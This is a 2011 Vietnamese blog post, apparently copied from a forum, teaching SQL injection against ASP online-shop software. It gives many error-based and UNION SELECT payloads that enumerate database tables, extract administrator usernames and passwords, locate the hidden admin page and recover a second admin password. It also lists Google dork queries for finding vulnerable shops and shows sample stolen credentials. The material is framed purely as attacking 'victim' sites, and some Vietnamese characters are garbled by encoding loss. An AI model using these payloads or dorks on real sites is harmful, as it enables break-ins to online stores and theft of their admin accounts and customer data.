Saturday, July 9, 2011

Cách hack shop cơ bản và nâng cao

Cách hack shop cơ bn và nâng cao

Ví dụ site này:http://www.victimtim.com/shopping/sh...cts.asp?id=153'

Cũng thêm vào dấu phẩy ( ' ) để check lỗi

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''

./shopping/shopdisplayproducts.asp, line 93

Oh có lỗi rồi, giờ sao đây

Cái này anh em biết khai thác chứ:

Lấy table đầu tiên của CSDL:

%20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

http://www.victimtim.com/shopping/sh...)--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'ver_Faq' to a column of data typeint

./shopping/shopdisplayproducts.asp, line 93

Bước 2 chắc các bạn biết, chỉ là lấy table thui.

Sau đây là code lấy các table khác ngoài table đầu tiên, mình chỉ việc kiếm table nào chứa users của admin là okie.

%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('ver_Faq')))--sp_password

%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('ver_Faq','coupons','customerprices','customers') ))--sp_password

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20table_name%20from%20informa tion_schema.tables%20where%20table_name%20not%20in %20('ver_Faq','coupons','customerprices','customer s')))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminUsers' to a column of datatype int

./shopping/shopdisplayproducts.asp, line 93

Tới đây là đã quá rõ, cái mình tìm chính là table này : 'AdminUsers' vì sao vậy vì nó chứa user và pass chắc.

Thui cứ khai thác thử.

Ta lấy column của table 'AdminUsers'

Dùng code sau:

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'AdminID' to a column of data typeint

./shopping/shopdisplayproducts.asp, line 93

Và bước tiếp theo:

Tìm các columns khác trong table 'AdminUsers' nhưng khác 'AdminID'

Code :

%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('AdminUsers') and column_name not in ('AdminID')))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' )))--sp_password

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login' to a column of data type int

./shopping/shopdisplayproducts.asp, line 93

Và các bạn cứ tiếp tục thêm table vào:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' ,'login')))--sp_password

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20column_name%20from%20inform ation_schema.columns%20where%20table_name=('AdminU sers')%20and%20column_name%20not%20in%20('AdminID' ,'login','pwd')))--sp_password

Okie 2 thông tin quan trọng là 'login','pwd' đă xuất hiện giờ chỉ việc kiếm pass.

Code dùng để exploit 2 columns 'login'và 'pwd' để lấy user và pass trong table 'AdminUsers'

%20and 1=convert(int,(select top 1 login%2b'/'%2bpwd from AdminUsers))--sp_password

Khi thêm code xong sẽ như thế này:

http://www.victimtim.com/shopping/sh...%201=convert(i nt,(select%20top%201%20login%2b'/'%2bpwd%20from%20AdminUsers))--sp_password

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin/admin' to a column of datatype int

./shopping/shopdisplayproducts.asp, line 93

Hà hà..

user: admin

pass: admin

Bác admin của shop này không biết có bị gì không nữa

Sử dụng cách này các bạn có thể lấy được tấc cả các table trong batabase của shop. Từ đây lại hình thành một cách mới để tìm link admin.

Mặc dù nói thì dễ vậy nhưng làm thì cần một thứ nữa, đó chính là lỗi file shopexd.asp ^^ . Nếu bạn vào trang này bị lỗi thì có hy vọng lấy được link admin.

Dùng đoạn lệnh gộp sau đây:

http://www.victimtim.com/shoping/shopexd.asp?id=-1 union select table1,fieldvalue,table2,table3,table4,table5,tabl e6,table7,table8,table9,table10,table11,table12,ta ble13,configuration where fieldname='xadminpage' and catalogid=153

Sở dĩ ta phải cho id=-1 để ngắt lệnh SQL thứ nhất khi hợp nhất thì nó sẽ thực hiện lệnh SQL thứ hai.

Thực hiện lệnh này xong ta sẽ có link admin ngay ^\^

Site VPASP sử dụng cơ sở dữ liệu SQL - Server thì quá dễ để khai thác như sau

http://www.victimtim.com/shoping/sho...es.asp?id=1and 1=convert(int,(select top 1 fldusername%2b'/'%2bfldpassword from tbluser))--sp_password

http://www.victimtim.com/shoping/sho...es.asp?id=1and 1=convert(int,(select top 1 fieldvalue from configuration where fieldname='xadminpage'))--sp_password

Đối với cat=?' các bạn làm tương tự ( vận dụng sáng tạo từ bài viết trên ^\^)
Sưu tầm

VD trên là kiu hack sql qua li OBDE. B sung thêm hack qua li JET.

Công c tìm kiếm site li: Google
T khóa tìm kiếm:
allinurl:"shopdisplayproducts.asp?id=

allinurl:"shopdisplayproducts.asp?id=1

allinurl:"shopdisplayproducts.asp?id=2

allinurl:".com/shopdisplayproducts.asp?id=

allinurl:".net/shopdisplayproducts.asp?id=

.asp?=catalogid=

.asp?cid=

alliurl: shop$.asp?$=

shopexd.asp?

shopreviewlist.asp?id=1

3. Thông thường ta thc hin 3 giai đon sau:

Tìm UserName và PassAdmin
Tìm Link Admin
Tìm Pass 2 nếu có



Tìm Shop li

Shop ví d: http://www.victim.com/shoping/shopdi...ducts.asp?id=5

Thêm du (') vào sau: http://www.victim.com/shoping/shopdi...ducts.asp?id=5'

Báo li :

Products

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'ccategory = 1' Order

By specialOffer DESC, cname'

./shopping/shop$db.asp, line 657

Nếu không thy li, thay id bng cat: http://www.victim.com/shoping/shopdi...ucts.asp?cat=5'

Có li rùi :

Microsoft JET database Engine error '80040e014'

Syntax error in query expression 'ccintcatalogid=p.catalogid and cc.intcategory=c.categoryid and c.catdescription like'5%'

and hide=0 order by specialoffer DESC, cname'

./shopping/shop$db.asp, line 564

Chú ý khi v 2 trường hp trên : (Quan trng)

Nếu li là id trong các truy vn bên dưới không có du (') theo sau s id
Nếu li là cat thì cn có thêm du (') theo sau trong các truy vn bên dưới


Đi vi li do id: không có du (') trong các truy vn


//////////Tìm username và pass Admin://////////

Thêm đon code này vào sau:

%20union select 1 from tbluser'

Ta được :

http://www.victim.com/shoping/shopdi...p?id=5%20union select 1 from tbluser'

Thông thường ta thêm: (có l các bn đã hiu là vì sao nên không nói dài dòng na)

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7 from tbluser'

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47 from tbluser'

Thêm cho đến khi nào xut mt trang bình thường và không còn báo li na. Trên trang xut hin my con s l. Thông thường là s 3, 4, 22, 18

Ta thay con s 3 bng đon mã sau đ ly user và pass admin:

fldusername%2b'/'%2bfldpassword

Ta có được:

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37 from tbluser'

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41,42,43,44,45,46,47 from tbluser'

S 3 bây gi s là: usernameadmin/passadmin

Ví d như : kakaka/maiyeuem

//////////Tìm link admin ://////////

Link mc đnh là shopadmin.asp, shopadmin1.asp. Nếu không được thì đành t kiếm !

Nó nm ti bng configuration. Vn gi nguyên s ct mà bn đã khai thác được, thay column đu bng:

fieldname='xadminpage'

Thay column li mun hin th bng:

fieldvalue ( đây là s 3)

Ta được như sau (mt trong hai):

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37 from configuration'

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43, 44,45,46,47 from configuration'

Chú ý: Có th thay giá tr fieldvalue vào s 3, 4, hay 22 gì tùy bn. Không bc buc là s 3 ! Theo ví d này mình cho vô s 3 ^^

1 là bn gp 1 trang trên có my con s như : Page 1 of 10

Hãy c gng tìm trong 10 trang đó s có 1 trang cha link admin. Bn tìm được các trang có đuôi dng *.asp

2 là bn gp thông báo li:

The Microsoft Jet database engine cannot find the input table or query 'configuration'. Make sure it exists and that its name is spelled correctly.

Hic...victim đã xóa mt bng config và hết ly link admin ! ^\^

//////////Tìm Pass 2://////////

Nếu bn có link admin, nhưng shop này nó đòi cái pass 2 na ! Qu quái tht ^\^

Không có gì khó, nhưng bn phi xem trang đó có b li ti page: shopexd.asp hay không, nếu không kiếm pass 2 ngay !

Dùng đon code này:

shopexd.asp?id=1%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,fieldvalue,28,29,30,31,32,33,34 ,35,36,37 from configuration where field name='xadminpage'

Hoc:

shopexd.asp?id=1%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,fieldvalue ,28,29,30,31,32,33,34,35,36,37 from configuration'

Gi s ti page này column 20 b li

Dùng code như khi kiếm link admin ti ch này:

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,fieldvalue,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37 from configuration'

Ri, nếu ok nó s s ra mã ngun asp ca trang admin, và bn s nhìn thy pass 2 ti dòng lênh: Const SecondPassword="pass 2"

Tiếp, nếu bn mun tìm link admin ti page này thì phi dùng code sau:

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,left(fieldvalue,9),21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37 from configuration'

Nếu nó vn ra mã ngun, thì nghĩa là s kí t ca link admin nh hơn 9 hoc bng 9, bn thay 9 bng s 7.

-> gi s nó s hin ra thế này: shoa.as Nhìn thế này thì đ biết link admin là gì ri.

Còn nếu dùng code trên mà nó chưa hin ra du . thì bn chưa th khng đnh được, thì hãy tăng lên, thay 9 bng 11 hoc 12 v..v.... C thế



Đi vi li do cat: có du (') trong các truy vn

//////////Tìm username và pass Admin://////////

Thêm đon code này vào sau:

%20union select 1 from tbluser"having 1=1--sp_password

Ta được:

http://www.victim.com/shoping/shopdi...5'%20union select 1 from tbluser"having 1=1--sp_password

Chú ý nó khác vi id ch này: "having 1=1--sp_password và du (') phi có trước 20%union !

Thông thường ta thêm:

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7 from tbluser"having 1=1--sp_password

%20union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39,40,41,42,43,44,45,46,47 from tbluser"having 1=1--sp_password

Phn còn li ging vi phn hướng dn vi id trên. Khác ch là có "having 1=1--sp_password sau và du (') phi có trước 20%union !

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37 from tbluser"having 1=1--sp_password

%20union select 1,2,fldusername%2b'/'%2bfldpassword,4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33, 34,35,36,37,38,39,40,41,42,43,44,45,46,47 from tbluser"having 1=1--sp_password

//////////Tìm link admin ://////////

Ging vi phn hướng dn vi id trên. Khác ch là có "having 1=1--sp_password sau và du (') phi có trước 20%union !

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37 from configuration"having 1=1--sp_password

%20union select fieldname='xadminpage',2,fieldvalue,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2 7,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43, 44,45,46,47 from configuration"having 1=1--sp_password

//////////Tìm Pass 2://////////

Ging vi phn hướng dn vi id trên. Khác ch là có "having 1=1--sp_password sau và du (') phi có trước 20%union !

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,fieldvalue,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37 from configuration"having 1=1--sp_password

%20union select fieldname='xadminpage',2,3,4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,left(fieldvalue,9),21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36,37 from configuration"having 1=1--sp_password

Nếu làm như cách này không được thì hãy thay các khoàng trng bng %20 và thêm %27 vào sau tbluser hoc configuration đ th li ! (Bình thương thì trình duyt t nhn %20 là mt khong trng và ngược li) !



II.Cách hack căn bn th hai da vào li SQL id=?' cat=?': ( Exploit các columns trong các tables ca database)

Công c tìm kiếm site li: Google
T khóa tìm kiếm:
allinurl:"shopdisplayproducts.asp?id=

allinurl:"shopdisplayproducts.asp?id=1

allinurl:"shopdisplayproducts.asp?id=2

allinurl:".com/shopdisplayproducts.asp?id=

allinurl:".net/shopdisplayproducts.asp?id=

.asp?=catalogid=

.asp?cid=

alliurl: shop$.asp?$=

shopexd.asp?

shopreviewlist.asp?id=1

No comments:

Post a Comment